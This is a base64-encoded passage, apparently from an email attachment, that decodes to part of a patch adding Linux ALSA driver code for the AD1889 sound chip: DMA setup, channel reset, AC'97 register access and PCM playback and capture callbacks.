MTg4OV93cml0ZWwoY2hpcCwgQURfRE1BX0FEQ0JDLCBjb3VudCk7DQorCWFkMTg4OV93cml0ZWwo
Y2hpcCwgQURfRE1BX0FEQ0NDLCBjb3VudCk7DQorCWFkMTg4OV93cml0ZWwoY2hpcCwgQURfRE1B
X0FEQ0lCLCBjb3VudCk7DQorCWFkMTg4OV93cml0ZWwoY2hpcCwgQURfRE1BX0FEQ0lDLCBjb3Vu
dCk7DQorfQkNCisNCitzdGF0aWMgaW5saW5lIHZvaWQNCithZDE4ODlfbG9hZF93YXZlX2NvdW50
KHN0cnVjdCBzbmRfYWQxODg5ICpjaGlwLCB1MzIgY291bnQpDQorew0KKwlhZDE4ODlfd3JpdGVs
KGNoaXAsIEFEX0RNQV9XQVZCQywgY291bnQpOw0KKwlhZDE4ODlfd3JpdGVsKGNoaXAsIEFEX0RN
QV9XQVZDQywgY291bnQpOw0KKwlhZDE4ODlfd3JpdGVsKGNoaXAsIEFEX0RNQV9XQVZJQiwgY291
bnQpOw0KKwlhZDE4ODlfd3JpdGVsKGNoaXAsIEFEX0RNQV9XQVZJQywgY291bnQpOw0KK30JDQor
DQorc3RhdGljIHZvaWQNCithZDE4ODlfY2hhbm5lbF9yZXNldChzdHJ1Y3Qgc25kX2FkMTg4OSAq
Y2hpcCwgdW5zaWduZWQgaW50IGNoYW5uZWwpDQorew0KKwl1MTYgcmVnOw0KKwkNCisJaWYgKGNo
YW5uZWwgJiBBRF9DSEFOX1dBVikgew0KKwkJLyogRGlzYWJsZSB3YXZlIGNoYW5uZWwgKi8NCisJ
CXJlZyA9IGFkMTg4OV9yZWFkdyhjaGlwLCBBRF9EU19XU01DKSAmIH5BRF9EU19XU01DX1dBRU47
DQorCQlhZDE4ODlfd3JpdGV3KGNoaXAsIEFEX0RTX1dTTUMsIHJlZyk7DQorCQljaGlwLT53YXZl
LnJlZyA9IHJlZzsNCisJCQ0KKwkJLyogZGlzYWJsZSBJUlFzICovDQorCQlyZWcgPSBhZDE4ODlf
cmVhZHcoY2hpcCwgQURfRE1BX1dBVik7DQorCQlyZWcgJj0gQURfRE1BX0lNX0RJUzsNCisJCXJl
ZyAmPSB+QURfRE1BX0xPT1A7DQorCQlhZDE4ODlfd3JpdGV3KGNoaXAsIEFEX0RNQV9XQVYsIHJl
Zyk7DQorDQorCQkvKiBjbGVhciBJUlEgYW5kIGFkZHJlc3MgY291bnRlcnMgYW5kIHBvaW50ZXJz
ICovDQorCQlhZDE4ODlfbG9hZF93YXZlX2NvdW50KGNoaXAsIDB4MCk7DQorCQlhZDE4ODlfd3Jp
dGVsKGNoaXAsIEFEX0RNQV9XQVZCQSwgMHgwKTsNCisJCWFkMTg4OV93cml0ZWwoY2hpcCwgQURf
RE1BX1dBVkNBLCAweDApOw0KKw0KKwkJLyogZmx1c2ggKi8NCisJCWFkMTg4OV9yZWFkdyhjaGlw
LCBBRF9ETUFfV0FWKTsNCisJfQ0KKwkNCisJaWYgKGNoYW5uZWwgJiBBRF9DSEFOX0FEQykgew0K
KwkJLyogRGlzYWJsZSBBREMgY2hhbm5lbCAqLw0KKwkJcmVnID0gYWQxODg5X3JlYWR3KGNoaXAs
IEFEX0RTX1JBTUMpICYgfkFEX0RTX1JBTUNfQURFTjsNCisJCWFkMTg4OV93cml0ZXcoY2hpcCwg
QURfRFNfUkFNQywgcmVnKTsNCisJCWNoaXAtPnJhbWMucmVnID0gcmVnOw0KKw0KKwkJcmVnID0g
YWQxODg5X3JlYWR3KGNoaXAsIEFEX0RNQV9BREMpOw0KKwkJcmVnICY9IEFEX0RNQV9JTV9ESVM7
DQorCQlyZWcgJj0gfkFEX0RNQV9MT09QOw0KKwkJYWQxODg5X3dyaXRldyhjaGlwLCBBRF9ETUFf
QURDLCByZWcpOw0KKwkNCisJCWFkMTg4OV9sb2FkX2FkY19jb3VudChjaGlwLCAweDApOw0KKwkJ
YWQxODg5X3dyaXRlbChjaGlwLCBBRF9ETUFfQURDQkEsIDB4MCk7DQorCQlhZDE4ODlfd3JpdGVs
KGNoaXAsIEFEX0RNQV9BRENDQSwgMHgwKTsNCisNCisJCS8qIGZsdXNoICovDQorCQlhZDE4ODlf
cmVhZHcoY2hpcCwgQURfRE1BX0FEQyk7DQorCX0NCit9DQorDQorc3RhdGljIGlubGluZSB1MTYN
CitzbmRfYWQxODg5X2FjOTdfcmVhZChhYzk3X3QgKmFjOTcsIHVuc2lnbmVkIHNob3J0IHJlZykN
Cit7DQorCXN0cnVjdCBzbmRfYWQxODg5ICpjaGlwID0gYWM5Ny0+cHJpdmF0ZV9kYXRhOw0KKwly
ZXR1cm4gYWQxODg5X3JlYWR3KGNoaXAsIEFEX0FDOTdfQkFTRSArIHJlZyk7DQorfQ0KKw0KK3N0
YXRpYyBpbmxpbmUgdm9pZA0KK3NuZF9hZDE4ODlfYWM5N193cml0ZShhYzk3X3QgKmFjOTcsIHVu
c2lnbmVkIHNob3J0IHJlZywgdW5zaWduZWQgc2hvcnQgdmFsKQ0KK3sNCisJc3RydWN0IHNuZF9h
ZDE4ODkgKmNoaXAgPSBhYzk3LT5wcml2YXRlX2RhdGE7DQorCWFkMTg4OV93cml0ZXcoY2hpcCwg
QURfQUM5N19CQVNFICsgcmVnLCB2YWwpOw0KK30NCisNCitzdGF0aWMgaW50DQorc25kX2FkMTg4
OV9hYzk3X3JlYWR5KHN0cnVjdCBzbmRfYWQxODg5ICpjaGlwKQ0KK3sNCisJaW50IHJldHJ5ID0g
NDAwOyAvKiBhdmVyYWdlIG5lZWRzIDM1MiBtc2VjICovDQorCQ0KKwl3aGlsZSAoIShhZDE4ODlf
cmVhZHcoY2hpcCwgQURfQUM5N19BQ0lDKSAmIEFEX0FDOTdfQUNJQ19BQ1JEWSkgDQorCQkJJiYg
LS1yZXRyeSkNCisJCW1kZWxheSgxKTsNCisJaWYgKCFyZXRyeSkgew0KKwkJc25kX3ByaW50ayhL
RVJOX0VSUiBQRlggIlslc10gTGluayBpcyBub3QgcmVhZHkuXG4iLA0KKwkJICAgICAgIF9fRlVO
Q1RJT05fXyk7DQorCQlyZXR1cm4gLUVJTzsNCisJfQ0KKwlhZDE4ODlfZGVidWcoIlslc10gcmVh
ZHkgYWZ0ZXIgJWQgbXNcbiIsIF9fRlVOQ1RJT05fXywgNDAwIC0gcmV0cnkpOw0KKw0KKwlyZXR1
cm4gMDsNCit9DQorDQorc3RhdGljIGludCANCitzbmRfYWQxODg5X2h3X3BhcmFtcyhzbmRfcGNt
X3N1YnN0cmVhbV90ICpzdWJzdHJlYW0sDQorCQkJc25kX3BjbV9od19wYXJhbXNfdCAqaHdfcGFy
YW1zKQ0KK3sNCisJcmV0dXJuIHNuZF9wY21fbGliX21hbGxvY19wYWdlcyhzdWJzdHJlYW0sIA0K
KwkJCQkJcGFyYW1zX2J1ZmZlcl9ieXRlcyhod19wYXJhbXMpKTsNCit9DQorDQorc3RhdGljIGlu
dA0KK3NuZF9hZDE4ODlfaHdfZnJlZShzbmRfcGNtX3N1YnN0cmVhbV90ICpzdWJzdHJlYW0pDQor
ew0KKwlyZXR1cm4gc25kX3BjbV9saWJfZnJlZV9wYWdlcyhzdWJzdHJlYW0pOw0KK30NCisNCitz
dGF0aWMgc25kX3BjbV9oYXJkd2FyZV90IHNuZF9hZDE4ODlfcGxheWJhY2tfaHcgPSB7DQorCS5p
bmZvID0gU05EUlZfUENNX0lORk9fTU1BUCB8IFNORFJWX1BDTV9JTkZPX0lOVEVSTEVBVkVEIHwN
CisJCVNORFJWX1BDTV9JTkZPX01NQVBfVkFMSUQgfCBTTkRSVl9QQ01fSU5GT19CTE9DS19UUkFO
U0ZFUiwNCisJLmZvcm1hdHMgPSBTTkRSVl9QQ01fRk1UQklUX1MxNl9MRSwNCisJLnJhdGVzID0g
U05EUlZfUENNX1JBVEVfQ09OVElOVU9VUyB8IFNORFJWX1BDTV9SQVRFXzgwMDBfNDgwMDAsDQor
CS5yYXRlX21pbiA9IDgwMDAsCS8qIGRvY3Mgc2F5IDcwMDAsIGJ1dCB3ZSdyZSBsYXp5ICovDQor
CS5yYXRlX21heCA9IDQ4MDAwLA0KKwkuY2hhbm5lbHNfbWluID0gMSwNCisJLmNoYW5uZWxzX21h
eCA9IDIsDQorCS5idWZmZXJfYnl0ZXNfbWF4ID0gRE1BX1NJWkUsCS8qIG1heCBETUEgYnVmZmVy
IHNpemUgaW4gYnl0ZXMgKi8NCisJLnBlcmlvZF9ieXRlc19taW4gPSBCVUZfU0laRSwJLyogbWlu
IHNpemUgb2YgcGVyaW9kIGluIGJ5dGVzICovDQorCS5wZXJpb2RfYnl0ZXNfbWF4ID0gRE1BX1NJ
WkUsCS8qIG1heCBzaXplIG9mIHBlcmlvZCBpbiBieXRlcyAqLw0KKwkucGVyaW9kc19taW4gPSAx
LAkJLyogbWluIG5iIG9mIHBlcmlvZHMgaW4gYnVmZmVyICovDQorCS5wZXJpb2RzX21heCA9IE1B
WF9CVUZTLA0KKwkvKi5maWZvX3NpemUgPSAwLCovDQorfTsNCisNCitzdGF0aWMgc25kX3BjbV9o
YXJkd2FyZV90IHNuZF9hZDE4ODlfY2FwdHVyZV9odyA9IHsNCisJLmluZm8gPSBTTkRSVl9QQ01f
SU5GT19NTUFQIHwgU05EUlZfUENNX0lORk9fSU5URVJMRUFWRUQgfA0KKwkJU05EUlZfUENNX0lO
Rk9fTU1BUF9WQUxJRCB8IFNORFJWX1BDTV9JTkZPX0JMT0NLX1RSQU5TRkVSLA0KKwkuZm9ybWF0
cyA9IFNORFJWX1BDTV9GTVRCSVRfUzE2X0xFLA0KKwkucmF0ZXMgPSBTTkRSVl9QQ01fUkFURV80
ODAwMCwNCisJLnJhdGVfbWluID0gNDgwMDAsCS8qIGRvY3Mgc2F5IHdlIGNvdWxkIHRvIFZTUiwg
YnV0IHdlJ3JlIGxhenkgKi8NCisJLnJhdGVfbWF4ID0gNDgwMDAsDQorCS5jaGFubmVsc19taW4g
PSAxLA0KKwkuY2hhbm5lbHNfbWF4ID0gMiwNCisJLmJ1ZmZlcl9ieXRlc19tYXggPSBETUFfU0la
RSwJLyogbWF4IERNQSBidWZmZXIgc2l6ZSBpbiBieXRlcyAqLw0KKwkucGVyaW9kX2J5dGVzX21p
biA9IEJVRl9TSVpFLAkvKiBtaW4gc2l6ZSBvZiBwZXJpb2QgaW4gYnl0ZXMgKi8NCisJLnBlcmlv
ZF9ieXRlc19tYXggPSBETUFfU0laRSwJLyogbWF4IHNpemUgb2YgcGVyaW9kIGluIGJ5dGVzICov
DQorCS5wZXJpb2RzX21pbiA9IDEsCQkvKiBtaW4gbmIgb2YgcGVyaW9kcyBpbiBidWZmZXIgKi8N
CisJLnBlcmlvZHNfbWF4ID0gTUFYX0JVRlMsDQorCS8qLmZpZm9fc2l6ZSA9IDAsKi8NCit9Ow0K
Kw0KK3N0YXRpYyBpbnQNCitzbmRfYWQxODg5X3BsYXliYWNrX29wZW4oc25kX3BjbV9zdWJzdHJl
YW1fdCAqc3MpDQorew0KKwlzdHJ1Y3Qgc25kX2FkMTg4OSAqY2hpcCA9IHNuZF9wY21fc3Vic3Ry
ZWFtX2NoaXAoc3MpOw0KKwlzbmRfcGNtX3J1bnRpbWVfdCAqcnQgPSBzcy0+cnVudGltZTsNCisN
CisJY2hpcC0+cHN1YnMgPSBzczsNCisJcnQtPmh3ID0gc25kX2FkMTg4OV9wbGF5YmFja19odzsN
CisNCisJcmV0dXJuIDA7DQorfQ0KKw0KK3N0YXRpYyBpbnQNCitzbmRfYWQxODg5X2NhcHR1cmVf
b3BlbihzbmRfcGNtX3N1YnN0cmVhbV90ICpzcykNCit7DQorCXN0cnVjdCBzbmRfYWQxODg5ICpj
aGlwID0gc25kX3BjbV9zdWJzdHJlYW1fY2hpcChzcyk7DQorCXNuZF9wY21fcnVudGltZV90ICpy
dCA9IHNzLT5ydW50aW1lOw0KKw0KKwljaGlwLT5jc3VicyA9IHNzOw0KKwlydC0+aHcgPSBzbmRf
YWQxODg5X2NhcHR1cmVfaHc7DQorDQorCXJldHVybiAwOw0KK30NCisNCitzdGF0aWMgaW50DQor
c25kX2FkMTg4OV9wbGF5YmFja19jbG9zZShzbmRfcGNtX3N1YnN0cmVhbV90ICpzcykNCit7DQor
CXN0cnVjdCBzbmRfYWQxODg5ICpjaGlwID0gc25kX3BjbV9zdWJzdHJlYW1fY2hpcChzcyk7DQor
CWNoaXAtPnBzdWJzID0gTlVMTDsNCisJcmV0dXJuIDA7DQorfQ0KKw0KK3N0YXRpYyBpbnQNCitz
bmRfYWQxODg5X2NhcHR1cmVfY2xvc2Uoc25kX3BjbV9zdWJzdHJlYW1fdCAqc3MpDQorew0KKwlz
dHJ1Y3Qgc25kX2FkMTg4OSAqY2hpcCA9IHNuZF9wY21fc3Vic3RyZWFtX2NoaXAoc3MpOw0KKwlj
aGlwLT5jc3VicyA9IE5VTEw7DQorCXJldHVybiAwOw0KK30NCisNCitzdGF0aWMgaW50DQorc25k
X2FkMTg4OV9wbGF5YmFja19wcmVwYXJlKHNuZF9wY21fc3Vic3RyZWFtX3QgKnNzKQ0KK3sNCisJ
c3RydWN0IHNuZF9hZDE4ODkgKmNoaXAgPSBzbmRfcGNtX3N1YnN0cmVhbV9jaGlwKHNzKTsNCisJ
c25kX3BjbV9ydW50aW1lX3QgKnJ0ID0gc3MtPnJ1bnRpbWU7DQorCXVuc2lnbmVkIGludCBzaXpl
ID0gc25kX3BjbV9saWJfYnVmZmVyX2J5dGVzKHNzKTsNCisJdW5zaWduZWQgaW50IGNvdW50ID0g
c25kX3BjbV9saWJfcGVyaW9kX2J5dGVzKHNzKTsNCisJdTE2IHJlZzsNCisNCisJYWQxODg5X2No
YW5uZWxfcmVzZXQoY2hpcCwgQURfQ0hBTl9XQVYpOw0KKw0KKwlyZWcgPSBhZDE4ODlfcmVhZHco
Y2hpcCwgQURfRFNfV1NNQyk7DQorCQ0KKwkvKiBNYXNrIG91dCAxNi1iaXQgLyBTdGVyZW8gKi8N
CisJcmVnICY9IH4oQURfRFNfV1NNQ19XQTE2IHwgQURfRFNfV1NNQ19XQVNUKTsNCisNCisJaWYg
KHNuZF9wY21fZm9ybWF0X3dpZHRoKHJ0LT5mb3JtYXQpID09IDE2KQ0KKwkJcmVnIHw9IEFEX0RT
X1dTTUNfV0ExNjsNCisNCisJaWYgKHJ0LT5jaGFubmVscyA+IDEpDQorCQlyZWcgfD0gQURfRFNf
V1NNQ19XQVNUOw0KKw0KKwkvKiBsZXQncyBtYWtlIHN1cmUgd2UgZG9uJ3QgY2xvYmJlciBvdXJz
ZWx2ZXMgKi8NCisJc3Bpbl9sb2NrX2lycSgmY2hpcC0+bG9jayk7DQorCQ0KKwljaGlwLT53YXZl
LnNpemUgPSBzaXplOw0KKwljaGlwLT53YXZlLmNvdW50ID0gY291bnQ7DQorCWNoaXAtPndhdmUu
cmVnID0gcmVnOw0KKwljaGlwLT53YXZlLmJ1ZiA9IDA7DQorCWNoaXAtPndhdmUucG9zID0gMDsN
CisJY2hpcC0+d2F2ZS5yYXRlID0gcnQtPnJhdGU7DQorCWNoaXAtPndhdmUuYWRkciA9IHJ0LT5k
bWFfYWRkcjsNCisNCisJYWQxODg5X3dyaXRldyhjaGlwLCBBRF9EU19XU01DLCBjaGlwLT53YXZl
LnJlZyk7DQorCQ0KKwkvKiBTZXQgc2FtcGxlIHJhdGVzIG9uIHRoZSBjb2RlYyAqLw0KKwlhZDE4
ODlfd3JpdGV3KGNoaXAsIEFEX0RTX1dBUywgY2hpcC0+d2F2ZS5yYXRlKTsNCisNCisJLyogU2V0
IHVwIERNQTogZmlyc3QgY2h1bmsgYWRkcmVzcyBpbiBjdXJyIGFkZHIsIG5leHQgb25lIGluIGJh
c2UgYWRkci4NCisJICAgQmFzZSB3aWxsIGJlIGxvYWRlZCBpbnRvIGN1cnIgYnkgdGhlIGhhcmR3
YXJlIHVwb24gaW50ZXJydXB0DQorCSAgIChhcyB3ZSB1c2UgTE9PUCkuIENvdW50IGhvbGRzIHRo
ZSBzaXplIG9mIHRoZSBjaHVuay4gKi8NCisJYWQxODg5X3dyaXRlbChjaGlwLCBBRF9ETUFfV0FW
Q0EsIGNoaXAtPndhdmUuYWRkcik7DQorCWFkMTg4OV93cml0ZWwoY2hpcCwgQURfRE1BX1dBVkJB
LCBjaGlwLT53YXZlLmFkZHIgKyAoY291bnQgJSBzaXplKSk7DQorCWFkMTg4OV9sb2FkX3dhdmVf
Y291bnQoY2hpcCwgY2hpcC0+d2F2ZS5jb3VudCk7DQorDQorCS8qIHdyaXRlcyBmbHVzaCAqLw0K
KwlhZDE4ODlfcmVhZHcoY2hpcCwgQURfRFNfV1NNQyk7DQorCQ0KKwlzcGluX3VubG9ja19pcnEo
JmNoaXAtPmxvY2spOw0KKwkNCisJYWQxODg5X2RlYnVnKCJwcmVwYXJlIHBsYXliYWNrOiBhZGRy
ID0gMHgleCwgY291bnQgPSAldSwgIg0KKwkJCSJzaXplID0gJXUsIHJlZyA9IDB4JXgsIHJhdGUg
PSAldVxuIiwgY2hpcC0+d2F2ZS5hZGRyLA0KKwkJCWNvdW50LCBzaXplLCByZWcsIGNoaXAtPndh
dmUucmF0ZSk7DQorCXJldHVybiAwOw0KK30NCisNCitzdGF0aWMgaW50DQorc25kX2FkMTg4OV9j
YXB0dXJlX3ByZXBhcmUoc25kX3BjbV9zdWJzdHJlYW1fdCAqc3MpDQorew0KKwlzdHJ1Y3Qgc25k
X2FkMTg4OSAqY2hpcCA9IHNuZF9wY21fc3Vic3RyZWFtX2NoaXAoc3MpOw0KKwlzbmRfcGNtX3J1
bnRpbWVfdCAqcnQgPSBzcy0+cnVudGltZTsNCisJdW5zaWduZWQgaW50IHNpemUgPSBzbmRfcGNt
X2xpYl9idWZmZXJfYnl0ZXMoc3MpOw0KKwl1bnNpZ25lZCBpbnQgY291bnQgPSBzbmRfcGNtX2xp
Yl9wZXJpb2RfYnl0ZXMoc3MpOw0KKwl1MTYgcmVnOw0KKw0KKwlhZDE4ODlfY2hhbm5lbF9yZXNl
dChjaGlwLCBBRF9DSEFOX0FEQyk7DQorCQ0KKwlyZWcgPSBhZDE4ODlfcmVhZHcoY2hpcCwgQURf
RFNfUkFNQyk7DQorDQorCS8qIE1hc2sgb3V0IDE2LWJpdCAvIFN0ZXJlbyAqLw0KKwlyZWcgJj0g
fihBRF9EU19SQU1DX0FEMTYgfCBBRF9EU19SQU1DX0FEU1QpOw0KKw0KKwlpZiAoc25kX3BjbV9m
b3JtYXRfd2lkdGgocnQtPmZvcm1hdCkgPT0gMTYpDQorCQlyZWcgfD0gQURfRFNfUkFNQ19BRDE2
Ow0KKw0KKwlpZiAocnQtPmNoYW5uZWxzID4gMSkNCisJCXJlZyB8PSBBRF9EU19SQU1DX0FEU1Q7
DQorDQorCS8qIGxldCdzIG1ha2Ugc3VyZSB3ZSBkb24ndCBjbG9iYmVyIG91cnNlbHZlcyAqLw0K
KwlzcGluX2xvY2tfaXJxKCZjaGlwLT5sb2NrKTsNCisJDQorCWNoaXAtPnJhbWMuc2l6ZSA9IHNp
emU7DQorCWNoaXAtPnJhbWMuY291bnQgPSBjb3VudDsNCisJY2hpcC0+cmFtYy5yZWcgPSByZWc7
DQorCWNoaXAtPnJhbWMuYnVmID0gMDsNCisJY2hpcC0+cmFtYy5wb3MgPSAwOw0KKwljaGlwLT5y
YW1jLnJhdGUgPSBydC0+cmF0ZTsNCisJY2hpcC0+cmFtYy5hZGRyID0gcnQtPmRtYV9hZGRyOw0K
Kw0KKwlhZDE4ODlfd3JpdGV3KGNoaXAsIEFEX0RTX1JBTUMsIGNoaXAtPnJhbWMucmVnKTsNCisN
CisJLyogU2V0IHVwIERNQTogZmlyc3QgY2h1bmsgYWRkcmVzcyBpbiBjdXJyIGFkZHIsIG5leHQg
b25lIGluIGJhc2UgYWRkci4NCisJICAgQmFzZSB3aWxsIGJlIGxvYWRlZCBpbnRvIGN1cnIgYnkg
dGhlIGhhcmR3YXJlIHVwb24gaW50ZXJydXB0DQorCSAgIChhcyB3ZSB1c2UgTE9PUCkuIENvdW50
IGhvbGRzIHRoZSBzaXplIG9mIHRoZSBjaHVuay4gKi8NCisJYWQxODg5X3dyaXRlbChjaGlwLCBB
RF9ETUFfQURDQ0EsIGNoaXAtPnJhbWMuYWRkcik7DQorCWFkMTg4OV93cml0ZWwoY2hpcCwgQURf
RE1BX0FEQ0JBLCBjaGlwLT5yYW1jLmFkZHIgKyAoY291bnQgJSBzaXplKSk7DQorCWFkMTg4OV9s
b2FkX2FkY19jb3VudChjaGlwLCBjaGlwLT5yYW1jLmNvdW50KTsNCisNCisJLyogd3JpdGVzIGZs
dXNoICovDQorCWFkMTg4OV9yZWFkdyhjaGlwLCBBRF9EU19SQU1DKTsNCisJDQorCXNwaW5fdW5s
b2NrX2lycSgmY2hpcC0+bG9jayk7DQorCQ0KKwlhZDE4ODlfZGVidWcoInByZXBhcmUgY2FwdHVy
ZTogYWRkciA9IDB4JXgsIGNvdW50ID0gJXUsICINCisJCQkic2l6ZSA9ICV1LCByZWcgPSAweCV4
LCByYXRlID0gJXVcbiIsIGNoaXAtPnJhbWMuYWRkciwNCisJCQljb3VudCwgc2l6ZSwgcmVnLCBj
aGlwLT5yYW1jLnJhdGUpOw0KKwlyZXR1cm4gMDsNCit9DQorDQorLyogdGhpcyBpcyBjYWxsZWQg
aW4gYXRvbWljIGNvbnRleHQgd2l0aCBJUlEgZGlzYWJsZWQuDQorICAgTXVzdCBiZSBhcyBmYXN0
IGFzIHBvc3NpYmxlIGFuZCBub3Qgc2xlZXAuDQorICAgRE1BIHNob3VsZCBiZSAqdHJpZ2dlcmVk
KiBieSB0aGlzIGNhbGwuDQorICAgVGhlIFdTTUMgIldBRU4iIGJpdCB0cmlnZ2VycyBETUEgV2F2
ZSBPbi9PZmYgKi8NCitzdGF0aWMgaW50DQorc25kX2FkMTg4OV9wbGF5YmFja190cmlnZ2VyKHNu
ZF9wY21fc3Vic3RyZWFtX3QgKnNzLCBpbnQgY21kKQ0KK3sNCisJdTE2IHdzbWM7DQorCXN0cnVj
dCBzbmRfYWQxODg5ICpjaGlwID0gc25kX3BjbV9zdWJzdHJlYW1fY2hpcChzcyk7DQorCQ0KKwl3
c21jID0gYWQxODg5X3JlYWR3KGNoaXAsIEFEX0RTX1dTTUMpOw0KKw0KKwlzd2l0Y2ggKGNtZCkg
ew0KKwljYXNlIFNORFJWX1BDTV9UUklHR0VSX1NUQVJUOg0KKwkJLyogZW5hYmxlIERNQSBsb29w
ICYgaW50ZXJydXB0cyAqLw0KKwkJYWQxODg5X3dyaXRldyhjaGlwLCBBRF9ETUFfV0FWLCBBRF9E
TUFfTE9PUCB8IEFEX0RNQV9JTV9DTlQpOw0KKwkJd3NtYyB8PSBBRF9EU19XU01DX1dBRU47DQor
CQkvKiAxIHRvIGNsZWFyIENIU1MgYml0ICovDQorCQlhZDE4ODlfd3JpdGVsKGNoaXAsIEFEX0RN
QV9DSFNTLCBBRF9ETUFfQ0hTU19XQVZTKTsNCisJCWFkMTg4OV91bm11dGUoY2hpcCk7DQorCQli
cmVhazsNCisJY2FzZSBTTkRSVl9QQ01fVFJJR0dFUl9TVE9QOg0KKwkJYWQxODg5X211dGUoY2hp
cCk7DQorCQl3c21jICY9IH5BRF9EU19XU01DX1dBRU47DQorCQlicmVhazsNCisJZGVmYXVsdDoN
CisJCXNuZF9CVUcoKTsNCisJCXJldHVybiAtRUlOVkFMOw0KKwl9DQorCQ0KKwljaGlwLT53YXZl
LnJlZyA9IHdzbWM7DQorCWFkMTg4OV93cml0ZXcoY2hpcCwgQURfRFNfV1NNQywgd3NtYyk7CQ0K
KwlhZDE4ODlfcmVhZHcoY2hpcCwgQURfRFNfV1NNQyk7CS8qIGZsdXNoICovDQorDQorCS8qIHJl
c2V0IHRoZSBjaGlwIHdoZW4gU1RPUCAtIHdpbGwgZGlzYWJsZSBJUlFzICovDQorCWlmIChjbWQg
PT0gU05EUlZfUENNX1RSSUdHRVJfU1RPUCkNCisJCWFkMTg4OV9jaGFubmVsX3Jlc2V0KGNoaXAs
IEFEX0NIQU5fV0FWKTsNCisNCisJcmV0dXJuIDA7DQorfQ0KKw0KKy8qIHRoaXMgaXMgY2FsbGVk
IGluIGF0b21pYyBjb250ZXh0IHdpdGggSVJRIGRpc2FibGVkLg0KKyAgIE11c3QgYmUgYXMgZmFz
dCBhcyBwb3NzaWJsZSBhbmQgbm90IHNsZWVwLg0KKyAgIERNQSBzaG91bGQgYmUgKnRyaWdnZXJl
ZCogYnkgdGhpcyBjYWxsLg0KKyAgIFRoZSBSQU1DICJBREVOIiBiaXQgdHJpZ2dlcnMgRE1BIEFE
QyBPbi9PZmYgKi8NCitzdGF0aWMgaW50DQorc25kX2FkMTg4OV9jYXB0dXJlX3RyaWdnZXIoc25k
X3BjbV9zdWJzdHJlYW1fdCAqc3MsIGludCBjbWQpDQorew0KKwl1MTYgcmFtYzsNCisJc3RydWN0
IHNuZF9hZDE4ODkgKmNoaXAgPSBzbmRfcGNtX3N1YnN0cmVhbV9jaGlwKHNzKTsNCisNCisJcmFt
YyA9IGFkMTg4OV9yZWFkdyhjaGlwLCBBRF9EU19SQU1DKTsNCisJDQorCXN3aXRjaCAoY21kKSB7
DQorCWNhc2UgU05EUlZfUENNX1RSSUdHRVJfU1RBUlQ6DQorCQkvKiBlbmFibGUgRE1BIGxvb3Ag
JiBpbnRlcnJ1cHRzICovDQorCQlhZDE4ODlfd3JpdGV3KGNoaXAsIEFEX0RNQV9BREMsIEFEX0RN
QV9MT09QIHwgQURfRE1BX0lNX0NOVCk7DQorCQlyYW1jIHw9IEFEX0RTX1JBTUNfQURFTjsNCisJ
CS8qIDEgdG8gY2xlYXIgQ0hTUyBiaXQgKi8NCisJCWFkMTg4OV93cml0ZWwoY2hpcCwgQURfRE1B
X0NIU1MsIEFEX0RNQV9DSFNTX0FEQ1MpOw0KKwkJYnJlYWs7DQorCWNhc2UgU05EUlZfUENNX1RS
SUdHRVJfU1RPUDoNCisJCXJhbWMgJj0gfkFEX0RTX1JBTUNfQURFTjsNCisJCWJyZWFrOw0KKwlk
ZWZhdWx0Og0KKwkJcmV0dXJuIC1FSU5WQUw7DQorCX0NCisJDQorCWNoaXAtPnJhbWMucmVnID0g
cmFtYzsNCisJYWQxODg5X3dyaXRldyhjaGlwLCBBRF9EU19SQU1DLCByYW1jKTsJDQorCWFkMTg4
OV9yZWFkdyhjaGlwLCBBRF9EU19SQU1DKTsJLyogZmx1c2ggKi8NCisJDQorCS8qIHJlc2V0IHRo
ZSBjaGlwIHdoZW4gU1RPUCAtIHdpbGwgZGlzYWJsZSBJUlFzICovDQorCWlmIChjbWQgPT0gU05E
UlZfUENNX1RSSUdHRVJfU1RPUCkNCisJCWFkMTg4OV9jaGFubmVsX3Jlc2V0KGNoaXAsIEFEX0NI
QU5fQURDKTsNCisJCQ0KKwlyZXR1cm4gMDsNCit9DQorDQorLyogQ2FsbGVkIGluIGF0b21pYyBj
b250ZXh0IHdpdGggSVJRIGRpc2FibGVkICovDQorc3RhdGljIHNuZF9wY21fdWZyYW1lc190DQor
c25kX2FkMTg4OV9wbGF5YmFja19wb2ludGVyKHNuZF9wY21fc3Vic3RyZWFtX3QgKnNzKQ0KK3sN
CisJc2l6ZV90IHB0ciA9IDA7DQorCXN0cnVjdCBzbmRfYWQxODg5ICpjaGlwID0gc25kX3BjbV9z
dWJzdHJlYW1fY2hpcChzcyk7DQorDQorCWlmICh1bmxpa2VseSghKGNoaXAtPndhdmUucmVnICYg
QURfRFNfV1NNQ19XQUVOKSkpDQorCQlyZXR1cm4gMDsNCisNCisJcHRyID0gYWQxODg5X3JlYWRs
KGNoaXAsIEFEX0RNQV9XQVZDQSk7DQorCXB0ciAtPSBjaGlwLT53YXZlLmFkZHI7DQorCQ0KKwlz
bmRfYXNzZXJ0KChwdHIgPj0gMCkgJiYgKHB0ciA8IGNoaXAtPndhdmUuc2l6ZSksIHJldHVybiAw
KTsNCisJDQorCXJldHVybiBieXRlc190b19mcmFtZXMoc3MtPnJ1bnRpbWUsIHB0cik7DQorfQ0K
Kw0KKy8qIENhbGxlZCBpbiBhdG9taWMgY29udGV4dCB3aXRoIElSUSBkaXNhYmxlZCAqLw0KK3N0
YXRpYyBzbmRfcGNtX3VmcmFtZXNfdA0KK3NuZF9hZDE4ODlfY2FwdHVyZV9wb2ludGVyKHNuZF9w
Y21fc3Vic3RyZWFtX3QgKnNzKQ0KK3sNCisJc2l6ZV90IHB0ciA9IDA7DQorCXN0cnVjdCBzbmRf
YWQxODg5ICpjaGlwID0gc25kX3BjbV9zdWJzdHJlYW1fY2hpcChzcyk7DQorDQorCWlmICh1bmxp
a2VseSghKGNoaXAtPnJhbWMucmVnICYgQURfRFNfUkFNQ19BREVOKSkpDQorCQlyZXR1cm4gMDsN
CisNCisJcHRyID0gYWQxODg5X3JlYWRsKGNoaXAsIEFEX0RNQV9BRENDQSk7DQorCXB0ciAtPSBj
aGlwLT5yYW1jLmFkZHI7DQorDQorCXNuZF9hc3NlcnQoKHB0ciA+PSAwKSAmJiAocHRyIDwgY2hp
cC0+cmFtYy5zaXplKSwgcmV0dXJuIDApOw0KKwkNCisJcmV0dXJuIGJ5dGVzX3RvX2ZyYW1lcyhz
cy0+cnVudGltZSwgcHRyKTsNCit9DQorDQorc3RhdGljIHNuZF9wY21fb3BzX3Qgc25kX2FkMTg4
OV9wbGF5YmFja19vcHMgPSB7DQorCS5vcGVuID0gc25kX2FkMTg4OV9wbGF5YmFja19vcGVuLA0K
